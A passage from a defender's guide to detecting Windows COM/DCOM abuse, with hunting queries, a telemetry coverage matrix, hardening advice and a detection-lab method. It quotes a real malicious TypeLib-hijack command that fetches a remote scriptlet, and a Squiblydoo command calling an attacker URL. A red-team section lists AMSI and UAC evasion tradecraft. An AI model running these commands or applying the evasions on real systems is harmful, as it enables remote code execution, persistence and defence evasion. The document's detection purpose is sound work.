| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
|
||||||
|
| where ActionType has "SetValue" or ActionType has "Create"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.3 Phantom-object hunting and the Autoruns blind spot
|
||||||
|
|
||||||
|
Phantom objects invert the diff problem: the attacker registers a CLSID a legitimate process *already tries to activate* (a dangling reference), so **no legitimate value is overwritten and nothing breaks** — there is nothing to diff against ([33]). The hunt therefore keys on the *discovery* artifact and the creation event:
|
||||||
|
|
||||||
|
- ProcMon filter for discovery and hunting alike: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` — every hit is a CLSID a live process wants; a subsequent **key-creation event at the same path** (Sysmon 12) is the hijack ([35]).
|
||||||
|
- Orphan sweep (bohops): enumerate `Win32_COMSetting` `InprocServer32`/`LocalServer32` paths and test file existence — "File Not Found" entries with attacker-writable directories are plantable without any registry write ([13], [35]).
|
||||||
|
- **Autoruns gap (repeat, because it drives tooling choice):** Autoruns does not comprehensively enumerate HKCU CLSID shadows; the brief's recommended compensating procedure is a periodic `reg export` of `HKCU\Software\Classes\CLSID`, `...\TypeLib`, and `UsrClass.dat` **diffed against a gold image**, cross-checked with Sysmon 7 module loads of `explorer`/`svchost`/`taskhostw` for DLLs outside `System32` ([35]).
|
||||||
|
|
||||||
|
### 6.4 TypeLib-hijack indicators (ReliaQuest / Black Basta affiliate case)
|
||||||
|
|
||||||
|
The 2025 in-the-wild chain is the reference IOC set for this variant ([31], [57]):
|
||||||
|
|
||||||
|
```text
|
||||||
|
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
|
||||||
|
```
|
||||||
|
|
||||||
|
- LIBID `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control) — chosen because **Explorer.exe references it at every start**, so the remote scriptlet re-downloads on every restart.
|
||||||
|
- Detection: `TypeLib\...\0\win32|win64` values containing `script:`/`http(s):`; `scrobj.dll` loading into non-scripting processes (Sysmon 7); outbound fetch of the `.sct` (Sysmon 3/22); the `reg.exe` command line itself (Sysmon 1). MITRE updated T1546.015 in 2025 to add this TypeLib/`script:`-moniker variation, citing ReliaQuest ([31], [48]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Detecting Execution & Relay Abuse
|
||||||
|
|
||||||
|
Chapter 06's family spans scriptlet execution, managed-code loaders, and DCOM-triggered NTLM relay. The detection surface splits cleanly into content scanning (AMSI), lineage/network, and registry seams.
|
||||||
|
|
||||||
|
### 7.1 Squiblydoo (regsvr32 + COM scriptlets, T1218.010)
|
||||||
|
|
||||||
|
The chain `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll` is all-signed (regsvr32 → `scrobj.dll` → `jscript`/`vbscript.dll`) and needs no registry writes and no admin — so detection leans on command line, image load, and egress ([14], [41]):
|
||||||
|
|
||||||
|
- **Sysmon 1:** `regsvr32` with `/i:` + `scrobj.dll` + a URL — the Sigma rule `proc_creation_win_regsvr32_squiblydoo.yml` and MITRE's analytic **CAR-2019-04-003** encode this ([14], [15]).
|
||||||
|
- **Sysmon 3/22:** `regsvr32` making outbound HTTP/S connections and DNS lookups — near-zero false positives; regsvr32 is proxy-aware (WinHTTP), so egress flows through the corporate proxy where it is loggable.
|
||||||
|
- **Sysmon 7/11:** `scrobj.dll` image load inside `regsvr32`; `.sct` file drops for the local-path variant.
|
||||||
|
- In-the-wild prevalence to prioritize tuning against: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit `web_delivery` ([41]).
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// Squiblydoo
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where FileName =~ "regsvr32.exe"
|
||||||
|
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.2 DotNetToJScript and the AMSI coverage boundary
|
||||||
|
|
||||||
|
DotNetToJScript (Forshaw, 2017) runs a serialized .NET delegate graph inside WSH via COM-visible `mscorlib` classes — no managed assembly on disk; it is the engine of SharpShooter, CACTUSTORCH, GreatSCT, and the Outlook-CreateObject DCOM delivery ([42]). The AMSI boundary is the whole detection story ([43], [44]):
|
||||||
|
|
||||||
|
| Stage | AMSI visibility | Residual telemetry |
|
||||||
|
|---|---|---|
|
||||||
|
| Scriptlet/script content | Scanned — `AmsiScanBuffer` in jscript/vbscript; second scan per `CreateObject`'d block | Sysmon 1/3/7/11/22; Sigma Squiblydoo ([14]) |
|
||||||
|
| .NET payload via COM | Conditional — CLR 4.8+ scans in-memory `Assembly.Load(byte[])`; **CLR v2 (the DotNetToJScript default) has no hook** | `Microsoft-Windows-DotNETRuntime` ETW `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` assembly-load/JIT events in `wscript`/`dllhost`; Sysmon 7 `clr.dll`/`clrjit.dll`/`mscoree.dll` in script hosts |
|
||||||
|
| PowerShell DCOM one-liners | Fully scanned — script-block logging event **4104** | Splunk *Remote Process Instantiation via DCOM and PowerShell (Script Block)* ([21], [22]) |
|
||||||
|
| Type-confusion / trapped-COM native stages | **None** — registry + RPC + reflection only | Registry (Sysmon 12/13), RPC ETW, Threat-Intelligence ETW `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` |
|
||||||
|
|
||||||
|
Microsoft shipped AMSI signatures for *default* DotNetToJScript/SharpShooter output in June 2018 — a template-signature control, evaded by changing the template; Forshaw's "copy `wscript.exe` as `amsi.dll`" trick neuters WSH scanning outright (LoadLibrary returns the already-loaded EXE image, `AmsiInitialize` fails). Neither evasion touches the ETW/registry residual columns above ([43]). One compensating hardening fact: since Windows 10 1803, `CI.DLL` (`CipMitigatePPLBypassThroughInterpreters`) blocks `scrobj.dll`, `scrrun.dll`, `jscript.dll`, `jscript9.dll`, and `vbscript.dll` from loading into **protected processes** — scriptlet-style PPL injection attempts fail loudly and are themselves high-fidelity signal ([37]).
|
||||||
|
|
||||||
|
### 7.3 Relay and coercion indicators
|
||||||
|
|
||||||
|
- **RemotePotato0** (RPC→HTTP cross-protocol relay, "Won't Fix"): attacker marshals `IStorage` (`CoGetInstanceFromIStorage`) for a CLSID running as Interactive User — default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`, BrowserBroker `{0002DF02-0000-0000-C000-000000000046}` — and the victim resolves OXID against the attacker resolver (135 redirect), then authenticated calls relay RPC/TCP → HTTP wrapper → `ntlmrelayx` → LDAP/AD CS (ESC8)/SMB. Detection: unexpected Interactive-User-class activations, 135 redirects, and the KB5004442 events — the hardening's `PKT_INTEGRITY` floor is what killed the OXID-MITM→relay path, so **10036/10037/10038 are the relay-attempt telemetry** ([8], [40]).
|
||||||
|
- **RemoteMonologue** (IBM X-Force, 2025): with local admin, the attacker sets `RunAs = "Interactive User"` on a chosen AppID (`HKLM\SOFTWARE\Classes\AppID\{AppID}` — Sysmon 13), remotely instantiates, and invokes a method/property that dereferences an attacker UNC to coerce the logged-on user's NTLM. Object watchlist: ServerDataCollectorSet `{03837546-098B-11D8-9414-505054503030}` (`DataManager.Extract` UNC parameter), FileSystemImage `{2C941FC5-975B-59BE-A960-9A2A262853A5}` (`WorkingDirectory` property), UpdateSession `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` (`AddScanPackageService`). Extras to alert on: `LmCompatibilityLevel ≤ 2` (NetNTLMv1 downgrade — Sysmon 13 on `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`) and WebClient abuse (`\\host@80\file` — WebDAV egress) ([39]).
|
||||||
|
- **OXID resolver recon:** unauthenticated `ServerAlive2` against `IObjectExporter` `{99FCFEC4-5260-101B-BBCB-00AA0021347A}` (port 135) leaks network interfaces (impacket `oxidresolver`) — flag 135 flows to `IObjectExporter` from non-management hosts in RPC ETW / RPC Firewall ([5], [6]).
|
||||||
|
- **Rule content:** Sigma *Remote DCOM/WMI Lateral Movement* (`68050b10-e477-4377-a99b-3721b422d6ef`) over RPC Firewall logs; native RPC filter event 5712 is unreliable ([6], [7]).
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// RunAs tampering (RemoteMonologue)
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Key idea:** "You relay FROM DCOM, not TO DCOM" — post-KB5004442, DCOM activation is a poor relay *target* (PKT_INTEGRITY floor), but DCOM remains a premium relay *trigger*. Detection should therefore watch for the trigger (unusual activations, AppID tampering, OXID queries) rather than expecting the relay itself to touch DCOM ([8], [40]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. The Layered Coverage Matrix
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: rows are the five COM attack families from chapters 02–06; columns are the telemetry sources from section 2. A marked cell means at least one usable, brief-attested signal exists at that intersection — read across a row to see why no single source catches a family, and down a column to see each source's blind spots.*
|
||||||
|
|
||||||
|
The same matrix in text form — cells name the concrete signal (only where a brief attests it):
|
||||||
|
|
||||||
|
| Family ↓ / Source → | Sysmon 1 (process) | Sysmon 3 (network) | Sysmon 7 (image load) | Sysmon 12–14 (registry) | Security (4624/4648/4672, 4688, 4657/4663) | ETW (RPC / COM / .NET / TI) | Network (135, DCE/RPC, egress) |
|
||||||
|
|---|---|---|---|---|---|---|---|
|
||||||
|
| **DCOM lateral movement** | `svchost -k DcomLaunch` → `mmc -Embedding` / `EXCEL /automation -Embedding` / `dllhost /Processid:`; 2nd-gen `mmc`/`explorer`/`EXCEL` → `cmd` (Sigma `f1f3bf22-…`) | Inbound 135 + dynamic high port; `mmc`/`excel` egress | `.xll`, `wshom.ocx`, `iertutil` off-path | `LaunchPermission` tamper (EID 13) | 4624 T3 (+4768/4769), 4648, 4672; Audit DCOM Activity | RPC EID 5/6 `RemoteCreateInstance`; RPC FW EID 3 (src IP) | Wkstn↔wkstn 135; `ShellExecute`/`ExecuteShellCommand` cleartext at PKT_INTEGRITY; impacket `\\__epoch` regex |
|
||||||
|
| **Privilege escalation** | Service account → unusual child after DCOM activation | Loopback/listeners: 9999, 10247, 10271, 5985; outbound 135 redirect | CLR inside `WaaSMedicSvc` svchost; `SprintCSP.dll`/`printconfig.dll` loads | StdFont `TreatAs`; `AllowDCOMReflection`/`OnlyUseLatestCLR` | 4624 Type 9 (`NewCredentials`, JuicyPotatoNG); 4672 on token use | `IObjectExporter`/`ResolveOxid2` abuse; DotNETRuntime JIT in services; TI-ETW on PPL behavior | 135 redirect to attacker resolver; SMB loopback context swap |
|
||||||
|
| **UAC bypass** | High-IL child of auto-elevate binary; no `consent.exe` | — (local attack) | Hijack-DLL names outside System32 by elevated MS binaries | `ms-settings`/`mscfile`/`Folder`/`AppX82a6…` verbs; `HKCU\Environment`; `IFEO VerifierDlls` | 4688 + IL fields; 4657/4663 SACLs on association keys | Kernel-Process ETW; UacScan ETW 1201 (AMSI-for-UAC) | — (local attack; watch post-elevation egress) |
|
||||||
|
| **Persistence** | `rundll32 -sta`, `verclsid /S /C`, `xwizard RunWizard`, `mmc -Embedding` w/ non-svchost parent | `script:` URL fetch at each trigger | `scrobj.dll` in non-script hosts; hijack DLLs outside System32 in `explorer`/`taskhostw` | HKCU `CLSID`/`TypeLib` shadows; `TreatAs`; `ScriptletURL`; NAME NOT FOUND → create | 4657/4663 with SACLs on `Classes\CLSID`/`TypeLib` | COMRuntime ETW activation tracing; registry ETW | Remote `.sct` re-download every Explorer start |
|
||||||
|
| **Execution & relay** | `regsvr32 /i:` + URL + `scrobj.dll`; PowerShell `GetTypeFromCLSID` one-liners | `regsvr32` HTTP/S egress (near-zero FP); WebDAV `\\host@80` | `scrobj.dll`, `jscript/vbscript` in unusual hosts; CLR in `wscript`/`dllhost` | AppID `RunAs` → `Interactive User`; `LmCompatibilityLevel` ≤ 2; `Ole\AppCompat` tamper | 4104 script blocks; AppLocker 8004; 4625 relay failures | DotNETRuntime `{E13C0D23-…}`; TI `{F4E1897C-…}`; RPC FW Sigma `68050b10-…` | 135 redirects; OXID `ServerAlive2` recon; relay to LDAP/AD CS/SMB |
|
||||||
|
|
||||||
|
> **Key idea:** No single source suffices. Sysmon 1 misses fileless-in-existing-process work (ShellWindows, trapped COM); registry telemetry misses pure-network chains; network telemetry is blind to local-only attacks (UAC, local persistence); AMSI misses CLR-v2 and native stages. Coverage is the *union* of the marked cells — and every evasion in section 9 is an attempt to shrink a row to empty cells, which is why the seams must be monitored together.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Evasion Notes for Red Teamers
|
||||||
|
|
||||||
|
Every signal in sections 3–7 can be reduced; none can be reduced to zero. This section maps each detection to the brief-attested tradecraft that shrinks it, and the counter-detection that still fires — use it to plan noise budgets and to write realistic purple-team test cases.
|
||||||
|
|
||||||
|
> **OpSec:** The governing tradeoff is *stealth vs. prerequisites*. The quietest object usually demands more from the target (an interactive session, Office installed, a reachable attacker host), and the most reliable object is usually the best-instrumented. Choose per engagement constraints, and assume the counter-detection column is deployed.
|
||||||
|
|
||||||
|
| Signal to reduce | Attested tradecraft | What still catches you (counter-detection) |
|
||||||
|
|---|---|---|
|
||||||
|
| MMC20 lineage (Sigma `f1f3bf22-…`) | Use ShellWindows/ShellBrowserWindow instead — payload becomes a child of the already-running `explorer.exe`, no new COM host (impacket `dcomexec` defaults to ShellWindows). Tradeoff: requires an interactive session on target; ShellBrowserWindow absent on Win7 ([12], [61]) | Second-generation `explorer.exe` → `cmd`/`powershell` is itself anomalous; the DcomLaunch KQL anchor and workstation↔workstation 135 remain ([2]) |
|
||||||
|
| Excel `/automation -Embedding` artifact | Avoid Excel on servers — Office running non-interactively there is ~zero-FP for defenders; prefer MMC20/ShellWindows where Office telemetry is strong ([62]) | `/automation -Embedding` correlation is exactly the FalconFriday 0xFF05 analytic; `.xll`/XLM loads (Sysmon 7) persist ([2]) |
|
||||||
|
| impacket output-write artifact | `-nooutput` (blind) or out-of-band exfil instead of the default `\\127.0.0.1\ADMIN$\__<epoch>.<ms>` write-back ([12]) | misthi0s regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1`; ADMIN$ write auditing (Sysmon 11) ([3]) |
|
||||||
|
| Logon events | Kerberos (target by hostname) produces 4768/4769 on DCs; NTLM (target by IP) produces 4624 Type 3 NTLM and enables PtH (`dcomexec -hashes`); Protected Users blocks NTLM — pick per environment; `127.0.0.1` loopback works for local validation ([12]) | 4624 Type 3 + 135-flow + lineage correlation regardless of protocol ([11]) |
|
||||||
|
| KB5004442 hardening events | Keep tooling at ≥ `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` (current impacket complies) — legacy clients and relay tools trip 10036/10037/10038, which *log the client IP* ([8], [12]) | Hardening does not stop credentialed admin DCOM — but attempting relay paths does, loudly ([9]) |
|
||||||
|
| InprocServer32-write rules | `TreatAs` redirection — the legitimate CLSID's server key is never modified (Turla Outlook chain); phantom/undefined CLSIDs — no value overwritten, nothing to diff (CrowdStrike ClickOnce variant); reg-free COM manifests keep persistence off the CLSID hive ([33], [35]) | Sigma `registry_set_persistence_com_key_linking` / `registry_set_treatas_persistence`; NAME NOT FOUND → key-create correlation; gold-image hive diffs ([17], [18]) |
|
||||||
|
| ScriptletURL rarity | Do not use `ScriptletURL` — it is rare legitimately and singled out as "detection gold" ([35]) | Any `ScriptletURL` creation alert; `scrobj.dll` in non-script hosts |
|
||||||
|
| Payload-host crashes (WerFault = detection) | Pass-through hijack DLL (forward `DllGetClassObject` to the original server), match `ThreadingModel` to the HKLM original, mutex/event gate against re-instantiation, hold `DllCanUnloadNow` until payload finishes; know that visible breakage betrays you — the `Scripting.Dictionary` squiblydoo demo broke `slmgr.vbs`/WinRM ([35]) | The forwarded DLL still loads from outside `System32` (Sysmon 7); ThreadingModel mismatches surface as `RPC_E_CANTTRANSMIT`/UI deadlocks users report ([20]) |
|
||||||
|
| AMSI content scanning | DotNetToJScript defaults to CLR v2 (no AMSI hook); mutate the template (June 2018 signatures cover only defaults); Forshaw's rename-`wscript.exe`-as-`amsi.dll` WSH bypass ([42], [43]) | DotNETRuntime ETW assembly/JIT events in `wscript`/`dllhost`; Sysmon 7 `clr*.dll` in script hosts; CI.DLL blocks script engines in protected processes outright |
|
||||||
|
| Sysmon 8 (CreateRemoteThread) | COM injection paths — type confusion, `IRundown::DoCallback`, trapped-COM `Assembly.Load` — never create threads ([37]) | Threat-Intelligence ETW (PPL consumers); registry seams of the arming step; `clr*.dll` loads into protected services |
|
||||||
|
| Potato disk artifacts | In-memory variants: SweetPotato/GodPotato-NET4/SigmaPotato (`[SigmaPotato]::Main()` via .NET reflection) ([54]) | DCOM activation of BITS/PrintNotify CLSIDs by service accounts; named pipes (`\\.\pipe\roguepotato\pipe\epmapper`); 4624 Type 9; outbound 135 ([52]) |
|
||||||
|
| UAC elevation events | PEB masquerading before `CoGetObject` (AppInfo scrutinizes the caller — modern loaders pose as `explorer.exe`/`conhost.exe`); obfuscate the `Elevation:Administrator!new:` string (reversed/XORed); prefer AlwaysNotify-compatible classes (SilentCleanup env, SSPI datagram) when "Always notify" is set ([49]) | High-IL-child/auto-elevate-parent correlation is policy-independent; Sysmon 10 handle duplication into bypass binaries ([28], [29]) |
|
||||||
|
| File disk footprint entirely | Fileless chains: DotNetToJScript shellcode, ForsHops (registry values only), `LocalServer32` with `cmd.exe` arguments ([38], [42]) | The registry seams and ETW residuals are the whole detection surface — see section 8 rows 2 and 5 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Mitigations & Hardening Master List
|
||||||
|
|
||||||
|
Consolidated from all six research briefs, grouped by control plane. Where a brief attaches a caveat, it is carried with the control.
|
||||||
|
|
||||||
|
### 10.1 DCOM protocol hardening (KB5004442 / CVE-2021-26414)
|
||||||
|
|
||||||
|
- Enforce `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel = 1` (server floor `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` for non-anonymous activation) and `RaiseActivationAuthenticationLevel = 2` (client auto-raise). Timeline: Jun 2021 opt-in → Jun 2022 default-on → Nov 2022 client raise → **Mar 2023 mandatory** ([8], [10]).
|
||||||
|
- Alert on tamper: Sysmon 13 on `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (value flipped to 0 = pre-attack weakening); trend 10036/10037/10038 as both health and detection telemetry ([9]).
|
||||||
|
- **Caveat:** the hardening broke legacy OPC Classic deployments (OPC is entirely DCOM) — industrial/OT estates need per-application testing before enforcement ([10]).
|
||||||
|
|
||||||
|
### 10.2 Scoping or disabling DCOM
|
||||||
|
|
||||||
|
- `HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM = "N"` disables remote activation — **breaks remote WMI**; test at scale before fleet rollout ([12]). `EnableRemoteConnect = "N"` separately gates remote *access* (non-activation) calls.
|
||||||
|
- Network scoping first: block workstation↔workstation TCP 135 + dynamic range; restrict DCOM to management hosts/PAWs; disable inbound firewall groups *COM+ Network Access (DCOM-In)* and *Microsoft Management Console* ([12]).
|
||||||
|
|
||||||
|
### 10.3 DCOM ACL hardening (launch/access ceilings)
|
||||||
|
|
||||||
|
- Machine ceilings: `MachineLaunchRestriction` / `MachineAccessRestriction` (dcomcnfg → COM Security → Edit Limits) — remove Remote Launch/Activation from the Administrators defaults where DCOM is not operationally required ([12]).
|
||||||
|
- Per-object procedure (from the brief, verbatim steps): take ownership of `HKCR\AppID\{AppID}` (TrustedInstaller-owned) → set an explicit `LaunchPermission` SD denying remote launch → restore ownership → remove your own FullControl. Inventory legitimate DCOM first (SCCM, backup, OPC, AV management) and **deny the rest, MMC20 and Office CLSIDs first**; monitor Sysmon 13 for `LaunchPermission` tampering ([12]).
|
||||||
|
|
||||||
|
### 10.4 Office and application control
|
||||||
|
|
||||||
|
- Office COM Compatibility kill list: `HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID}` — Microsoft's per-application kill bits covering the `htafile`, scriptlet, Composite, File, New, and SOAP moniker classes; deploy for the abusable set ([37]).
|
||||||
|
- AppLocker/WDAC: block `scrobj.dll` script execution (Squiblydoo), block Office child processes, block `mshta`/`ScriptControl`, apply ASR rules, and **do not run Office on servers** ([12], [14]). Audit-mode events (AppLocker 8004) double as detection content ([15]).
|
||||||
|
- UAC-family app control: block child processes of auto-elevate binaries and DLL loads from user-writable paths; enable the `PreferSystem32Images` mitigation ([49], [60]).
|
||||||
|
|
||||||
|
### 10.5 Relay, coercion, and spooler/EFSRPC hardening
|
||||||
|
|
||||||
|
- SMB signing, LDAP signing + channel binding, AD CS Extended Protection for Authentication (EPA) — close the relay *destinations* ([40]).
|
||||||
|
- Disable WebClient (kills `\\host@80\file` WebDAV coercion); set `LmCompatibilityLevel = 5` (NTLMv1 off); enable LSA Protection ([39]).
|
||||||
|
- Spooler/EFSRPC: apply the CVE-2021-36942 EFSR hardening and disable the Print Spooler where not needed — **caveat from the brief:** PrintNotify-based potatoes (PrintNotifyPotato, JuicyPotatoNG) work with the legacy spooler disabled, so spooler removal alone does not close the potato class; the durable control is patching (CVE-2023-21746) plus the service-account-activation detection of section 4.1 ([53], [54], [64]).
|
||||||
|
- RPC Firewall on servers/DCs for per-call RPC mediation and logging ([6], [7]).
|
||||||
|
|
||||||
|
### 10.6 UAC policy set
|
||||||
|
|
||||||
|
- **The #1 control (per UACME itself): standard-user accounts** — no admin token, nothing to bypass (M1026) ([49]).
|
||||||
|
- Slider to *Always notify* (`ConsentPromptBehaviorAdmin = 2`, `PromptOnSecureDesktop = 1`) — kills most auto-elevate bypasses **but not all**: SilentCleanup env, token manipulation, DiskCleanup race, SSPI datagram, PCA, RequestTrace, and QuickAssist methods are documented AlwaysNotify-compatible; defense-in-depth still required ([49]).
|
||||||
|
- Harden the rest of the policy surface: `ConsentPromptBehaviorUser = 0` (auto-deny), keep `EnableLUA = 1`, set `FilterAdministratorToken = 1` for the built-in Administrator, keep `PromptOnSecureDesktop = 1`; monitor `LocalAccountTokenFilterPolicy` and `EnableLUA` for tamper (needs prior admin → post-exploitation signal) ([49], [60]).
|
||||||
|
|
||||||
|
### 10.7 Identity controls
|
||||||
|
|
||||||
|
- LAPS for local-admin hygiene; tiered administration with PAWs; Credential Guard; **Protected Users** (blocks NTLM — kills PtH-style NTLM DCOM; Kerberos DCOM remains possible); disable NTLM where feasible ([12]).
|
||||||
|
|
||||||
|
### 10.8 Patch currency (each item kills a technique class)
|
||||||
|
|
||||||
|
- Win10 1809/Server 2019: silent rpcss OXID-binding fix — kills Rotten/JuicyPotato ([52]). Win10 19H1: DiagHub `ProcessImageLoadPolicy` ([67]). Jan 2023: CVE-2023-21746 — kills LocalPotato SMB context swap ([64]). oleaut32 `VerifyTrust` signing-level check — blocks TLB substitution in protected processes ([37]). July 2022: KnownDlls no longer initialized in PPL (PPLdump class) ([37]). Win10 1803: `CI.DLL` interpreter blocklist in protected processes ([37]). Win11 24H2/25H2: mock trusted directories, consent DotLocal, `wow64log`, `dccw`, EventViewer .NET deserialization, WSReset, EditionUpgradeManager, taskhostw PCA fixes ([49], [50]).
|
||||||
|
|
||||||
|
### 10.9 Neutralizing abusable CLSIDs (with stability caveats)
|
||||||
|
|
||||||
|
- **Prefer ACL denial (10.3) over deletion.** If you delete or shadow an abusable CLSID, the briefs' hijack-stability lessons apply in reverse: dependent clients must still resolve something sane — match `ThreadingModel`, handle 32/64-bit hive placement (`Wow6432Node` for Office paths), and soak-test for WerFault, UI hangs, and proxy-marshal stalls ([35]).
|
||||||
|
- Known-breakage precedent from the brief: hijacking `Scripting.Dictionary` breaks `slmgr.vbs` and WinRM — expect the same class of collateral when *removing* live shell classes ([35]).
|
||||||
|
- The safe neutralization set is **abandoned-binary classes** (the mobsync pattern: registered CLSID, missing binary) — deleting the registration removes a plantable path with no functional loss ([13]).
|
||||||
|
- For Office-facing moniker classes, use the COM Compatibility kill list (10.4) rather than hive surgery ([37]).
|
||||||
|
|
||||||
|
### 10.10 Sensor and baseline deployment
|
||||||
|
|
||||||
|
- Deploy Sysmon with `sysmon-modular` or SwiftOnSecurity's `sysmon-config` as the baseline; collect RPC ETW EID 5/6 on critical hosts; enable the **Audit DCOM Activity** subcategory on servers; place SACLs on `Software\Classes\AppID`, `CLSID`, and `TypeLib` for 4657/4663; maintain gold-image `reg export` snapshots of `HKCU\Software\Classes` and `UsrClass.dat` for diffing ([11], [46], [47]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: Detection-Engineering Your Own COM Research
|
||||||
|
|
||||||
|
New COM findings ship as blog posts and PoCs, not as detections. The lab skill is converting a fresh technique into tested rules before your adversary uses it. The methodology below is the one the briefs themselves demonstrate (FireEye's COM hunting series, Elastic's COM hunt guide, FalconFriday's analytic write-ups all follow this shape) ([2], [20], [32]). For a current conference-level overview of the legacy-but-live DCOM attack surface your detections must cover, see the hack.lu 2025 deck ([59]).
|
||||||
|
|
||||||
|
### 1. Hunting hypothesis
|
||||||
|
|
||||||
|
The hypothesis that pays: *every COM technique, however fileless, must cross at least one seam that is rare in normal operations* — a registry value almost never written legitimately (`ScriptletURL`, `AllowDCOMReflection`, a `TreatAs` by a non-Office process), a lineage anchor (`svchost -k DcomLaunch` spawning a server), or a wire shape (135 + dynamic ports from a workstation). Your job is to find the seam the author did not mention, because authors document the exploit, not the telemetry.
|
||||||
|
|
||||||
|
### 2. Sensor baseline (instrument before you detonate)
|
||||||
|
|
||||||
|
Lab setup per the internals brief: two domain-joined VMs for DCOM work, a standard-user VM for HKCU-hijack work, snapshots before `regsvr32`/manifest experiments, and **COM ETW tracing enabled** — the `Microsoft-Windows-COMRuntime` provider plus the OLE32/COM providers for activation tracing; ProcMon with `Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32` and `Result = NAME NOT FOUND` for phantom hunting; Wireshark `dcom`/`dcerpc` dissectors (grep `MEOW`); RpcView for interface/IPID maps; Event Viewer on the DistributedCOM 10015/10016/10036–10038 channel; WinDbg `bp combase!CoCreateInstance` for activation breakpoints; OleViewDotNet for enumerating the classes involved ([55]).
|
||||||
|
|
||||||
|
```text
|
||||||
|
*(illustrative — adapt flags/levels to your build and provider manifest)*
|
||||||
|
logman create trace com-activation -ets -o C:\traces\com-activation.etl
|
||||||
|
logman update trace com-activation -ets -p "{BF406804-6AFA-46E7-8A48-6C357E1D6D61}" 0xFFFFFFFFFFFFFFFF 0xFF
|
||||||
|
rem ^ Microsoft-Windows-COMRuntime — activation tracing
|
||||||
|
logman update trace com-activation -ets -p "{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}" 0xFFFFFFFFFFFFFFFF 0xFF
|
||||||
|
rem ^ Microsoft-Windows-RPC — InterfaceUuid/OpNum/Endpoint per call
|
||||||
|
logman update trace com-activation -ets -p "{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}" 0xFFFFFFFFFFFFFFFF 0xFF
|
||||||
|
rem ^ Microsoft-Windows-DotNETRuntime — Assembly.Load/JIT inside COM hosts
|
||||||
|
logman stop com-activation -ets
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Capture normal, then detonate, then diff
|
||||||
|
|
||||||
|
1. **Baseline normal activation telemetry**: on the clean snapshot, exercise ordinary COM — browse classes with OleViewDotNet, open Office/`mmc`/`eventvwr`, log off/on, reboot. Export the hives (`reg export HKCU\Software\Classes base-hkcu.reg`, same for `HKLM\SOFTWARE\Classes` and a copy of `UsrClass.dat`), take a pcap, and collect the Sysmon/ETW window. This is your "normal" corpus — every detection you write must survive replay against it.
|
||||||
|
2. **Run the attack**: reproduce the finding's PoC, or the closest Atomic Red Team test (T1021.003, T1546.015 #1–#4, T1548.002) as a stand-in for the class ([45]).
|
||||||
|
3. **Diff everything**: Sysmon events in the detonation window minus the baseline set; hive diff (`FC /B` or a registry-diff tool on the exports); pcap diff (new 135 flows, `MEOW` blobs, `GetIDsOfNames` strings); ETW trace for the activation's interface UUIDs. Every delta is candidate detection content — the FireEye COM-hunting methodology is exactly this loop run at fleet scale ([32]).
|
||||||
|
|
||||||
|
### 4. Codify: Sigma skeleton for a COM technique
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# ILLUSTRATIVE skeleton — not a shipped rule. Fill from your diff; validate against baseline.
|
||||||
|
title: COM <Technique> <Artifact Class>
|
||||||
|
id: <new-uuid>
|
||||||
|
status: experimental
|
||||||
|
logsource:
|
||||||
|
product: windows
|
||||||
|
category: registry_set # swap for process_creation / image_load / network_connection
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
TargetObject|contains: 'Software\Classes\CLSID\{<CLSID-from-diff>}'
|
||||||
|
Details|contains: '<attacker-controlled value from diff>'
|
||||||
|
filter_baseline:
|
||||||
|
Image|endswith:
|
||||||
|
- '\msiexec.exe' # installers seen writing this key in YOUR baseline
|
||||||
|
- '\TiWorker.exe'
|
||||||
|
condition: selection and not filter_baseline
|
||||||
|
level: high
|
||||||
|
```
|
||||||
|
|
||||||
|
